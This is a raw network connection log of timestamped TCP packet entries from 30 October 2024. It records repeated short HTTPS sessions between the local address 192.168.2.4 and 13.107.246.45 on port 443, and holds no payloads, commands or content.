Oct 30, 2024 06:16:58.865554094 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.867563009 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.867577076 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.867641926 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.867755890 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.867763042 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.885034084 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.885143042 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.885196924 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.885273933 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.885282993 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.885296106 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.885299921 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.887357950 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.887382030 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.887455940 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.887587070 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.887598038 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.906900883 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.906955957 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.907027006 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.907413006 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.907413006 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.907426119 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.907439947 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.909831047 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.909843922 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:58.909944057 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.910089970 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:58.910099983 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.596064091 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.596577883 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.596616030 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.597047091 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.597052097 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.600019932 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.600328922 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.600342035 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.600934982 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.600938082 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.606148005 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.606460094 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.606488943 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.606853962 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.606863022 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.624305964 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.624731064 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.624741077 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.625114918 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.625119925 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.639399052 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.639682055 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.639695883 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.640048981 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.640053034 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.725661993 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.725784063 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.725863934 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.726022959 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.726041079 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.726053953 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.726059914 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.728904009 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.728934050 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.729017973 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.729157925 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.729171991 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.732897997 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.732955933 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.733000994 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.733087063 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.733103037 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.733113050 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.733127117 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.735066891 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.735094070 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.735167980 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.735286951 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.735294104 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.739068031 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.739305973 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.739365101 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.739401102 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.739401102 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.739420891 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.739434004 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.741056919 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.741096020 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.741183996 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.741334915 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.741357088 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.753226995 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.753376961 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.753437996 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.753567934 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.753567934 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.753576040 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.753583908 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.755348921 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.755368948 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.755440950 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.755574942 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.755585909 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.769773006 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.769973040 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.770028114 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.770064116 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.770073891 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.770083904 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.770092964 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.771642923 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.771682978 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 06:16:59.771785975 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.771897078 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:16:59.771918058 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.470810890 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.471462011 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.471477985 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.471997023 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.472001076 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.477415085 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.477900028 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.477922916 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.478332996 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.478341103 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.484328032 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.484683037 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.484694004 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.485049963 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.485054016 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.491034031 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.491492033 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.491520882 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.491873026 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.491878033 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.496835947 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.497124910 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.497149944 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.497457027 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.497466087 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.600392103 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.600471973 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.600568056 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.600841045 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.600860119 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.600873947 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.600881100 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.604338884 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.604384899 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.604506016 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.604733944 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.604743004 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.608211040 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.608664989 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.608728886 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.608769894 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.608788967 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.608799934 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.608805895 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.611459970 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.611502886 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.611572027 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.611697912 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.611715078 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.615761995 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.616013050 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.616072893 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.616107941 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.616126060 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.616141081 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.616146088 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.618814945 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.618843079 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.618908882 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.619019985 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.619028091 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.620513916 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.620719910 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.620774984 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.620799065 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.620805025 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.620814085 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.620819092 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.622737885 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.622766018 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.622824907 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.622951031 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.622961998 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.630357981 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.630451918 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.630506992 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.630621910 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.630639076 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.630650043 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.630656004 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.632987022 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.633022070 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:00.633104086 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.633251905 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:00.633260965 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.351725101 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.352298975 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.352323055 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.352747917 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.352754116 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.363584042 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.364104986 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.364145041 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.364161015 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.364623070 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.364628077 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.365091085 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.365118027 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.365505934 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.365513086 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.373924971 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.374296904 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.374320984 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.374687910 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.374692917 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.394896984 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.412131071 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.412153006 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.455940008 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.455965042 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.485986948 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.486073017 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.486291885 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.486498117 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.486519098 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.486527920 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.486532927 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.496629000 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.496838093 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.496906042 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.499231100 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.499334097 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.499464035 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.503088951 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.503184080 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.503187895 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.503221035 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.503227949 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.503273010 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.503355980 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.513958931 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.514002085 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.514044046 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.514060974 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.529165983 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.529186964 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.529212952 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.529217958 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.587564945 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.587609053 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.587685108 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.590174913 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.590233088 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.590281010 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.602086067 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.602180004 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.602252007 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.674724102 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.674760103 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.674829960 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.688733101 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.688745022 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.689039946 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.689048052 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.765386105 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.765409946 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.765420914 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.765425920 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.767118931 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.767162085 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.789473057 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.789510965 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.789573908 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.791332960 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.791343927 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.792279959 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.792319059 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:01.792380095 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.792510986 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:01.792526960 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.423238039 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.424134970 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.424156904 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.425134897 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.425138950 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.429897070 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.430480957 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.430491924 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.431055069 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.431058884 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.496407032 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.497021914 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.497041941 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.497457981 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.497462988 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.529732943 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.530168056 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.530195951 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.530606031 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.530613899 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.536919117 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.537148952 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.537173986 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.537478924 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.537483931 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.552345991 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.552500963 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.552556992 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.552613020 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.552628994 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.552638054 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.552644014 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.555706978 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.555728912 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.555814028 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.555972099 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.555982113 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.575668097 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.575834990 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.575892925 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.575922966 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.575926065 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.575943947 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.575947046 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.578103065 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.578133106 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.578202009 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.578335047 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.578346014 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.626905918 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.627226114 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.627336025 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.627361059 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.627370119 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.627388954 CET	49790	443	192.168.2.4	13.107.246.45
